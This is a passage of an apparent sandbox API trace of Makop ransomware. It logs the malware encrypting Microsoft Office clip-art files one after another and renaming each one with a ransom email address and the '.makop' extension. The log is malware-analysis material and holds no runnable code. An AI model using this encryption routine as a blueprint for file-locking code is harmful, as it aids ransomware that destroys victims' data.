phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.776] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.776] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.776] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8f8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8f8, lpOverlapped=0x0) returned 1 [0111.776] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x900, dwBufLen=0x900 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x900) returned 1 [0111.776] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.776] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x900, lpOverlapped=0x0) returned 1 [0111.776] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.776] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.777] SetEndOfFile (hFile=0xf0) returned 1 [0111.791] GetProcessHeap () returned 0x48a0000 [0111.791] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.791] GetProcessHeap () returned 0x48a0000 [0111.791] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.791] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.792] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.793] CloseHandle (hObject=0xf0) returned 1 [0111.793] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9936cb00, ftCreationTime.dwHighDateTime=0x1bd4c0e, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9936cb00, ftLastWriteTime.dwHighDateTime=0x1bd4c0e, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01186_.WMF", cAlternateFileName="")) returned 1 [0111.793] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0111.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.794] GetProcessHeap () returned 0x48a0000 [0111.794] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.794] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.794] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.794] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0111.799] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.799] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.799] GetProcessHeap () returned 0x48a0000 [0111.799] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.799] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.799] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.799] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.799] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.799] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.799] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.800] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.800] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.800] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.800] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.800] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.800] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2174, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2174, lpOverlapped=0x0) returned 1 [0111.802] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2180, dwBufLen=0x2180 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2180) returned 1 [0111.803] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.803] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2180, lpOverlapped=0x0) returned 1 [0111.803] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.803] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.803] SetEndOfFile (hFile=0xf0) returned 1 [0111.809] GetProcessHeap () returned 0x48a0000 [0111.810] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.810] GetProcessHeap () returned 0x48a0000 [0111.810] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.810] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.810] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.811] CloseHandle (hObject=0xf0) returned 1 [0111.812] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4fe9900, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4fe9900, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x6e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01366_.WMF", cAlternateFileName="")) returned 1 [0111.812] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0111.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.814] GetProcessHeap () returned 0x48a0000 [0111.814] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.814] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.814] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.814] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.821] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.821] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.821] GetProcessHeap () returned 0x48a0000 [0111.821] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.821] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.821] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.821] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.822] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.822] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.822] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.822] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.822] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.823] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.823] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.823] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.823] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6e8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6e8, lpOverlapped=0x0) returned 1 [0111.823] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6f0, dwBufLen=0x6f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6f0) returned 1 [0111.823] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.823] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6f0, lpOverlapped=0x0) returned 1 [0111.823] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.823] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.824] SetEndOfFile (hFile=0xf0) returned 1 [0111.831] GetProcessHeap () returned 0x48a0000 [0111.831] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.831] GetProcessHeap () returned 0x48a0000 [0111.831] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.831] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.831] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.833] CloseHandle (hObject=0xf0) returned 1 [0111.834] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81594a00, ftCreationTime.dwHighDateTime=0x1bd4c02, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81594a00, ftLastWriteTime.dwHighDateTime=0x1bd4c02, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01434_.WMF", cAlternateFileName="")) returned 1 [0111.835] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0111.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.837] GetProcessHeap () returned 0x48a0000 [0111.837] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.837] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.837] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.837] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0111.841] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.841] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.841] GetProcessHeap () returned 0x48a0000 [0111.841] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.841] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.841] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.841] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.842] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.842] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.842] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.842] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.842] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.842] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.842] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.843] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.843] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x384, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x384, lpOverlapped=0x0) returned 1 [0111.843] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x390, dwBufLen=0x390 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x390) returned 1 [0111.843] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.843] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x390, lpOverlapped=0x0) returned 1 [0111.843] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.843] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.843] SetEndOfFile (hFile=0xf0) returned 1 [0111.851] GetProcessHeap () returned 0x48a0000 [0111.851] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.851] GetProcessHeap () returned 0x48a0000 [0111.851] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.851] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.851] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.852] CloseHandle (hObject=0xf0) returned 1 [0111.853] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55829800, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55829800, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x9dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01585_.WMF", cAlternateFileName="")) returned 1 [0111.853] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0111.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.854] GetProcessHeap () returned 0x48a0000 [0111.854] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.854] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.854] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.854] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.859] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.859] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.859] GetProcessHeap () returned 0x48a0000 [0111.859] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.859] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.859] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.859] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.860] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.860] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.860] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, 